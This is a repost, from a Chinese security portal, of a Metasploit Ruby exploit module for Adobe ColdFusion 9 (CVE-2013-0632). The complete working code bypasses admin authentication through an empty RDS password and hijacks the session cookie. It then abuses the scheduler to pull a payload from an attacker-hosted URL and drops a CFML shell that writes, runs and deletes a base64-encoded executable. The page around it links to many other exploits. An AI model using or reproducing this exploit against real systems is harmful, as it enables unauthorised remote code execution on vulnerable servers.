首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Adobe ColdFusion 9 Administrative Login Bypass
来源:metasploit.com 作者:Mekanismen 发布时间:2013-12-12  
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE
  
  Rank = GreatRanking
  
  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Adobe ColdFusion 9 Administrative Login Bypass',
      'Description'     => %q{
      Adobe ColdFusion 9.0, 9.0.1, 9.0.2, and 10 allows remote attackers to bypass authentication using the RDS component. Its password can
      by default or by misconfiguration be set to an empty value. This allows you to create a session via the RDS login that
      can be carried over to the admin web interface even though the passwords might be different. Therefore bypassing
      authentication on the admin web interface which then could lead to arbitrary code execution.
      Tested on Windows and Linux with ColdFusion 9.
      },
      'Author'          =>
        [
          'Scott Buckel', # Vulnerability discovery
          'Mekanismen <mattias[at]gotroot.eu>' # Metasploit module
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          [ "CVE", "2013-0632" ],
          [ "EDB", "27755" ],
          [ "URL", "http://www.adobe.com/support/security/bulletins/apsb13-03.html" ]
        ],
      'Privileged'      => false,
      'Stance'          => Msf::Exploit::Stance::Aggressive, #thanks juan!
      'Platform'        => ['win', 'linux'],
      'Targets'         =>
        [
         [ 'Windows',
            {
            'Arch' => ARCH_X86,
            'Platform' => 'win'
            }
          ],
          [ 'Linux',
            {
            'Arch' => ARCH_X86,
            'Platform' => 'linux'
            }
          ],
        ],
      'DefaultTarget'   => 0,
      'DisclosureDate'  => 'Aug 08 2013'
    ))
  
    register_options(
      [
        OptString.new('EXTURL', [ false, 'An alternative host to request the CFML payload from', "" ]),
        OptInt.new('HTTPDELAY', [false, 'Time that the HTTP Server will wait for the payload request', 10]),
      ], self.class)
  
    register_advanced_options(
      [
        OptString.new('CFIDDIR', [ true, 'Alternative CFIDE directory', 'CFIDE'])
      ])
  end
  
  def check
    uri = target_uri.path
  
    #can we access the admin interface?
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'index.cfm'),
    })
  
    if res and res.code == 200 and res.body.to_s =~ /ColdFusion Administrator Login/
       print_good "#{peer} - Administrator access available"
    else
      return Exploit::CheckCode::Safe
    end
  
    #is it cf9?
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'images', 'loginbackground.jpg')
    })
  
    img = Rex::Text.md5(res.body.to_s)
    imghash = "596b3fc4f1a0b818979db1cf94a82220"
  
    if img == imghash
      print_good "#{peer} - ColdFusion 9 Detected"
    else
      return Exploit::CheckCode::Safe
    end
  
    #can we access the RDS component?
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'adminapi', 'administrator.cfc'),
      'vars_post' => {
          'method' => "login",
          'adminpassword' => "",
          'rdsPasswordAllowed' => "1"
       }
    })
  
    if res and res.code == 200 and res.body.to_s =~ /true/
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end
  
  def exploit
    @pl           = gen_file_dropper
    @payload_url  = ""
  
    if datastore['EXTURL'].blank?
      begin
        Timeout.timeout(datastore['HTTPDELAY']) {super}
      rescue Timeout::Error
      end
      exec_payload
    else
      @payload_url = datastore['EXTURL']
      upload_payload
      exec_payload
    end
  end
  
  def primer
    @payload_url = get_uri
    upload_payload
  end
  
  def on_request_uri(cli, request)
    if request.uri =~ /#{get_resource}/
      send_response(cli, @pl)
    end
  end
  
  #task scheduler is pretty bad at handling binary files and likes to mess up our meterpreter :-(
  #instead we use a CFML filedropper to embed our payload and execute it.
  #this also removes the dependancy of using the probe.cfm to execute the file.
  
  def gen_file_dropper
    rand_var    = rand_text_alpha(8+rand(8))
    rand_file   = rand_text_alpha(8+rand(8))
  
    if datastore['TARGET'] == 0
      rand_file += ".exe"
    end
  
    encoded_pl  = Rex::Text.encode_base64(generate_payload_exe)
  
    print_status "Building CFML shell..."
    #embed payload
    shell = ""
    shell += " <cfset #{rand_var} = ToBinary( \"#{encoded_pl}\" ) />"
    shell += " <cffile action=\"write\" output=\"##{rand_var}#\""
    shell += " file= \"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\""
    #if linux set correct permissions
    if datastore['TARGET'] == 1
      shell += " mode = \"700\""
    end
    shell += "/>"
    #clean up our evil .cfm
    shell += " <cffile action=\"delete\""
    shell += " file= \"#GetDirectoryFromPath(GetCurrentTemplatePath())##listlast(cgi.script_name,\"/\")#\"/>"
    #execute our payload!
    shell += " <cfexecute"
    shell += " name = \"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\""
    shell += " arguments = \"\""
    shell += " timeout = \"60\"/>"
  
    return shell
  end
  
  def exec_payload
    uri = target_uri.path
  
    print_status("#{peer} - Our payload is at: #{peer}\\#{datastore['CFIDDIR']}\\#{@filename}")
    print_status("#{peer} - Executing payload...")
  
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, datastore['CFIDDIR'], @filename)
    })
  end
  
  def upload_payload
    uri = target_uri.path
  
    @filename = rand_text_alpha(8+rand(8)) + ".cfm" #numbers is a bad idea
    taskname = rand_text_alpha(8+rand(8)) #numbers is a bad idea
  
    print_status "#{peer} - Trying to upload payload via scheduled task..."
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'adminapi', 'administrator.cfc'),
      'vars_post' => {
          'method' => "login",
          'adminpassword' => "",
          'rdsPasswordAllowed' => "1"
       }
    })
  
    unless res and res.code == 200
      fail_with(Failure::Unknown, "#{peer} - RDS component was unreachable")
    end
  
    #deal with annoying cookie data prepending (sunglasses)
    cookie = res.get_cookies
  
    if res and res.code == 200 and cookie =~ /CFAUTHORIZATION_cfadmin=;(.*)/
      cookie = $1
    else
      fail_with(Failure::Unknown, "#{peer} - Unable to get auth cookie")
    end
  
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'index.cfm'),
      'cookie' => cookie
    })
  
    if res and res.code == 200 and res.body.to_s =~ /ColdFusion Administrator Login/
      print_good("#{peer} - Logged in as Administrator!")
    else
      fail_with(Failure::Unknown, "#{peer} - Login Failed")
    end
  
    #get file path gogo
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'settings', 'mappings.cfm'),
      'vars_get' => {
        'name' => "/CFIDE"
      },
      'cookie' => cookie
    })
  
    unless res and res.code == 200
      fail_with(Failure::Unknown, "#{peer} - Mappings URL was unreachable")
    end
  
    if res.body =~ /<input type="text" maxlength="550" name="directoryPath" value="(.*)" size="40" id="dirpath">/
      file_path = $1
      print_good("#{peer} - File path disclosed! #{file_path}")
    else
      fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath")
    end
  
    print_status("#{peer} - Adding scheduled task")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduleedit.cfm'),
      'vars_post' => {
        'TaskName' => taskname,
        'Start_Date' => "Nov 1, 2420",
        'End_Date' => "",
        'Interval' => "",
        'ScheduleType' => "Once",
        'Operation' => "HTTPRequest",
        'ScheduledURL' => @payload_url,
        'publish' => "1",
        'publish_file' => "#{file_path}\\#{@filename}",
        'adminsubmit' => "Submit"
      },
      'cookie' => cookie
    })
  
    unless res and res.code == 200 or res.code == 302 #302s can happen but it still works, http black magic!
      fail_with(Failure::Unknown, "#{peer} - Scheduled task failed")
    end
  
    print_status("#{peer} - Running scheduled task")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduletasks.cfm'),
      'vars_get' => {
        'runtask' => taskname,
        'timeout' => "0"
      },
      'cookie' => cookie
      })
  
    if res and res.code == 200 and res.body.to_s =~ /This scheduled task was completed successfully/
      print_good("#{peer} - Scheduled task completed successfully")
    else
      fail_with(Failure::Unknown, "#{peer} - Scheduled task failed")
    end
  
    print_status("#{peer} - Deleting scheduled task")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduletasks.cfm'),
      'vars_get' => {
        'action' => "delete",
        'task' => taskname
      },
      'cookie' => cookie
    })
  
    unless res and res.code == 200
      print_error("#{peer} - Scheduled task deletion failed, cleanup might be needed!")
    end
  end
end

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·HP LoadRunner EmulationAdmin W
·EMC Data Protection Advisor DP
·vBulletin index.php/ajax/api/r
·Divide Error In Windows Kernel
·ad GOM Player 2.2.53.5169 - SE
·Cisco Unified Communications M
·Up.Time Monitoring Station pos
·Castripper 2.50.70 - (.pls) DE
·Eaton Network Shutdown Module
·Ability Web Server(ftp) - Remo
·D-Link DSR Router Remote Root
·iScripts AutoHoster PHP Code I
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved